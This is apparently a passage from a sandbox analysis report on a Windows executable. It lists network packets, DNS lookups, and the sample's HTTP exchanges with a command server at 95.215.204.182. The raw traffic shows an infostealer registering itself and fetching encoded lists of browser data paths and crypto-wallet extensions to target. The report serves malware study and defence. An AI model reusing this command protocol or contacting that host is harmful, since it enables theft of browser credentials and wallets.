Nov 7, 2024 17:25:49.506736040 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:49.506751060 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.531474113 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.532938957 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.532994986 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.533173084 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.533284903 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.533284903 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.561139107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561151028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561209917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561212063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561274052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561286926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561300039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561301947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561345100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561347008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561347008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561358929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561434031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561445951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561458111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561466932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561511040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561513901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561513901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561525106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561536074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561547995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561559916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561570883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561570883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561587095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561610937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561623096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561634064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561711073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561723948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561738968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561739922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561753988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561762094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561764956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561799049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561799049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.561885118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561903954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561917067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561960936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561971903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561984062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.561985016 CET	49911	80	192.168.2.6	95.215.204.182

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 17:25:21.828929901 CET	192.168.2.6	1.1.1.1	0xb492	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:21.829297066 CET	192.168.2.6	1.1.1.1	0xd28c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:27.008626938 CET	192.168.2.6	1.1.1.1	0xc7a3	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:27.008793116 CET	192.168.2.6	1.1.1.1	0x7ba	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:28.012728930 CET	192.168.2.6	1.1.1.1	0x8c0e	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:28.012876034 CET	192.168.2.6	1.1.1.1	0xc0d1	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:33.843951941 CET	192.168.2.6	1.1.1.1	0x25d7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:33.844367981 CET	192.168.2.6	1.1.1.1	0xdc93	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:35.100430012 CET	192.168.2.6	1.1.1.1	0xa377	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:35.100867033 CET	192.168.2.6	1.1.1.1	0x16fb	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 7, 2024 17:25:36.998019934 CET	192.168.2.6	1.1.1.1	0x6b37	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:36.998019934 CET	192.168.2.6	1.1.1.1	0x731f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:37.001501083 CET	192.168.2.6	1.1.1.1	0x2337	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.001501083 CET	192.168.2.6	1.1.1.1	0x12e7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:37.007638931 CET	192.168.2.6	1.1.1.1	0x902f	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.007843018 CET	192.168.2.6	1.1.1.1	0x2f7a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:37.021838903 CET	192.168.2.6	1.1.1.1	0x3c41	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.021838903 CET	192.168.2.6	1.1.1.1	0xe6d7	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:37.613106012 CET	192.168.2.6	1.1.1.1	0xa1d4	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.613353014 CET	192.168.2.6	1.1.1.1	0x959b	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:38.596937895 CET	192.168.2.6	1.1.1.1	0x469e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.597383022 CET	192.168.2.6	1.1.1.1	0x63d7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:38.598001957 CET	192.168.2.6	1.1.1.1	0x645c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.598407030 CET	192.168.2.6	1.1.1.1	0x3688	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 7, 2024 17:25:38.639511108 CET	192.168.2.6	1.1.1.1	0xcb2a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.639667034 CET	192.168.2.6	1.1.1.1	0xef25	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 17:25:21.836321115 CET	1.1.1.1	192.168.2.6	0xd28c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 7, 2024 17:25:21.836368084 CET	1.1.1.1	192.168.2.6	0xb492	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:27.015660048 CET	1.1.1.1	192.168.2.6	0x7ba	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:27.015857935 CET	1.1.1.1	192.168.2.6	0xc7a3	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:27.015857935 CET	1.1.1.1	192.168.2.6	0xc7a3	No error (0)	plus.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:28.019505024 CET	1.1.1.1	192.168.2.6	0x8c0e	No error (0)	play.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:33.850653887 CET	1.1.1.1	192.168.2.6	0x25d7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:33.852099895 CET	1.1.1.1	192.168.2.6	0xdc93	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:33.913130045 CET	1.1.1.1	192.168.2.6	0x62f8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:33.913184881 CET	1.1.1.1	192.168.2.6	0x4bec	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:33.913184881 CET	1.1.1.1	192.168.2.6	0x4bec	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:35.108093977 CET	1.1.1.1	192.168.2.6	0x16fb	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:35.109280109 CET	1.1.1.1	192.168.2.6	0xa377	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.004863977 CET	1.1.1.1	192.168.2.6	0x6b37	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.004863977 CET	1.1.1.1	192.168.2.6	0x6b37	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.004863977 CET	1.1.1.1	192.168.2.6	0x6b37	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.004863977 CET	1.1.1.1	192.168.2.6	0x6b37	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.008414030 CET	1.1.1.1	192.168.2.6	0x12e7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.008424997 CET	1.1.1.1	192.168.2.6	0x2337	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.014605999 CET	1.1.1.1	192.168.2.6	0x902f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.028589964 CET	1.1.1.1	192.168.2.6	0x3c41	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.028601885 CET	1.1.1.1	192.168.2.6	0xe6d7	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.033160925 CET	1.1.1.1	192.168.2.6	0x2f7a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.620052099 CET	1.1.1.1	192.168.2.6	0xa1d4	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:37.620052099 CET	1.1.1.1	192.168.2.6	0xa1d4	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:37.621049881 CET	1.1.1.1	192.168.2.6	0x959b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:38.604191065 CET	1.1.1.1	192.168.2.6	0x469e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.604191065 CET	1.1.1.1	192.168.2.6	0x469e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.604660034 CET	1.1.1.1	192.168.2.6	0x63d7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 7, 2024 17:25:38.604672909 CET	1.1.1.1	192.168.2.6	0x645c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.604672909 CET	1.1.1.1	192.168.2.6	0x645c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.605577946 CET	1.1.1.1	192.168.2.6	0x3688	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 7, 2024 17:25:38.646338940 CET	1.1.1.1	192.168.2.6	0xcb2a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.646338940 CET	1.1.1.1	192.168.2.6	0xcb2a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 17:25:38.646502018 CET	1.1.1.1	192.168.2.6	0xef25	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 7, 2024 17:25:38.961193085 CET	1.1.1.1	192.168.2.6	0x4003	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 17:25:38.961193085 CET	1.1.1.1	192.168.2.6	0x4003	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	95.215.204.182	80	7160	C:\Users\user\Desktop\vMRlWtVCEN.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 17:25:09.939254999 CET	89	OUT	GET / HTTP/1.1 Host: 95.215.204.182 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 17:25:10.785641909 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:10.971553087 CET	418	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGII Host: 95.215.204.182 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 36 30 38 34 42 41 41 43 41 44 32 33 32 32 36 39 35 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 2d 2d 0d 0a Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="hwid"3C6084BAACAD2322695909------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="build"LogsDiller------HIDAFHDHCBGDGCBGCGII--
Nov 7, 2024 17:25:11.379035950 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 67 31 4e 6a 45 34 4e 7a 59 35 5a 57 52 6a 4d 44 68 6b 59 6d 45 34 4e 32 51 35 4d 44 6c 6c 4d 44 4d 34 5a 44 63 79 4d 6a 63 78 5a 57 4e 68 59 6a 4e 6c 4d 44 41 77 5a 54 4a 6d 5a 6a 4d 33 4f 54 64 68 4f 54 41 78 4f 54 4e 6d 59 54 41 79 5a 57 51 31 4d 32 59 78 5a 47 51 30 5a 6d 5a 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Nzg1NjE4NzY5ZWRjMDhkYmE4N2Q5MDllMDM4ZDcyMjcxZWNhYjNlMDAwZTJmZjM3OTdhOTAxOTNmYTAyZWQ1M2YxZGQ0ZmZhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 7, 2024 17:25:11.380680084 CET	469	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 95.215.204.182 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="message"browsers------KFCGDBAKKKFBGDHJKFHJ--
Nov 7, 2024 17:25:11.627356052 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 7, 2024 17:25:11.627460003 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 7, 2024 17:25:11.629235029 CET	468	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJ Host: 95.215.204.182 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="message"plugins------HCFCAAEBGCAKKFIDBKJJ--
Nov 7, 2024 17:25:11.875742912 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 